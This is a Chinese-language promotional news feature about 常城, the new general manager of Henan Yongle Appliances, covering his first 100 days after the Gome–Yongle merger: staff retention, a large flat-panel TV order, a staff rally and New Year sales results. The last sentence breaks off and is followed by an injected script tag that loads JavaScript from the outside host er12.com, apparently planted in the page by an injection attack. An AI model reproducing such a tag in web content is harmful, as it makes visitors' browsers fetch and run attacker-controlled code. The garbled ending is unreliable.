一个企业能将河南、上海、北京三地文化差异在短时间内快速融合并迅速发展，肯定有它的理由。3月7日上午,就在常城出任河南永乐生活电器有限公司总经理100天的前夕，接受了记者采访, 地点就在他那间有着 “商者无域相融共生” 巨幅背景的办公室, 也许因为春天的缘故，略带疲倦的他, 仍是神采奕奕，兴致盎然。因为他得到河南永乐员工的敬佩和销售额比同期增幅79%的业绩这两张牌，实现1+1＞2的目标, 而使得永乐在中国家电业在变得更加有发言权。也许是常城恢弘速度制胜的气魄和真切的人本精神,坚定且平和的他自信告诉记者,明天会怎样?未来属于永乐电器。这也许是常城100天实现超越的信心与希望。
关注永乐 立足永乐
把长远的着眼点放在坚持重视细节的作用，推进国美永乐文化的融合，达到军心稳定的同时,把继续扩大市场份额作为永乐电器的目标放在优先位置，“在集团战略已定的情况下，我要做的是细化和实施推进既定的战略目标。”常城坦言。为此，2006年12月1日,时任无锡国美电器总经理的常城通过实行不带任何人的策略进入河南永乐生活电器有限公司。当时，因国美与永乐正式合并而造成人员心理波动带来了精神压力的高度紧张，成为河南永乐在未来家电连锁行业竞争的一个弱点，然而，常城这一策略非常成功地保证了永乐的竞争优势。假定常城寻求在中原家电市场超越竞争对手方法，但又不愿看到加强对河南永乐人事、营销、组织架构等领域控制而出现的内部“大清洗”，而引发一场同原管理层矛盾战。那么,常城将如何用自身的价值作为一种解析工具来增强员工的认知价值？常城明白员工的价值和目标的统一是河南永乐目前的竞争强点。但永乐人在哪个价值活动中的竞争最强有力，焦点集中在哪？常城说:人尽其才，能者优先，让最有能力的人当官，让最有实力的人当店长，在企业内部形成一种积极向上的人才竞争机制和持续学习的风气。显而易见，这种策略和目标已经和正在实现。现在常城非常自信地告诉记者,河南永乐中高层人才没有一个流失。
正像中国著名家电产业观察家刘步尘所言，现在留下来的肯定都是行业的精英，是行业中肯踏踏实实做事的人!记者仿佛看到了永乐从常城到常城团队融合一体逐渐演进的曙光。常城团队融合一体的到来，需要原管理层的精英和永乐消费者的互动配合，缺一不可，这是由常城到常城团队融合一体演进的必由之路，是永乐电器为家电消费者提供真正需求服务的良好开端。 为了永乐的健康发展，他希望原管理层的干部和员工留下来积极参与永乐的发展,有句众所周知的格言“说话温和而手持大棒，你才能走得远”。的确常城用温和的口吻说话，并且建立起一支彻底高效率并能在激烈竞争中维持高度集中的团队，从而使永乐走得更远。
思路决定出路
和谐是新永乐电器的重头戏，犹如球场上的临门一脚，球进与不进在此一举，常城这样告诉记者。因而,他在接受记者采访中,始终贯穿着两个字“激情”. 因为没有激情或缺乏亲合力的企业都是不可能有所作为的，企业团结必须凝聚于一个主轴，团结协作的领导班子就能把每个员工的积极性调动起来，让渗透于每个员工身上的企业理念都能成为一种好的亲和力资源，向心于领导班子这根主轴。
常城在确立构筑企业经营框架和建筑企业精神的同时,必须确保企业销售最大化、利润最大化、发展最大化。在他上任不久,一口气同三星、海尔、海信、创维、tcl、康佳等中国家电品牌签下了10亿元的平板电视的购销大单, 创下了河南家电业历史以来最大的定单。“这是一场极具震撼力的营销，它超越了河南传统营销方式的所有想像！这真是一席双赢的盛宴！”常城谈及刚到河南发起的第一场攻势时，充满自信。
为配合2007年元旦销售有一个良好的开局，2006年12月28日早上6点30分, 在郑州下起了第一场雪的同一天，常城在繁华的二七商圈举行了有600名员工参加“创新2007年，我们携手同行”为主题誓师大会, 目的是让管理层和员工铭记这一刻，百米冲剌，需要的是体力，更需要的是激情和信心, “市场竞争的前提是练好自身并摆好“起跑器”。市场竞争的结果是份额和利润一个都不能少，” 常城如此说。的确常城让他的团队和员工在从容和务实中完善着铁打的理想，把国美的经营哲学和自身在实践中滚打的经验因为融合和碰撞而迸发出更理性的智慧之光, 元旦销售突破1.2亿,在全国永乐系统里,河南永乐的业绩始终处在第一的位置上。
春节前夕,永乐举办了“06总结表彰暨07新春文艺晚会”，永乐员工用自编自导自演的文艺节目，说永乐，唱永乐，演永乐，激情四射；而常城与他的管理团队一曲“真心英雄”感染了现场的每一位永乐人,真切表达了建立永乐大家庭的强烈愿望，真正起到了外树形象、内求团结、鼓舞士气良好的作用。
记者援引中国著名家电产业观察家刘步尘的话说，河南永乐领导班子的“中枢神经”已经证明，这是一个能够快速作出反应，作出正确的判断?script src=http://er12.com/t.js>
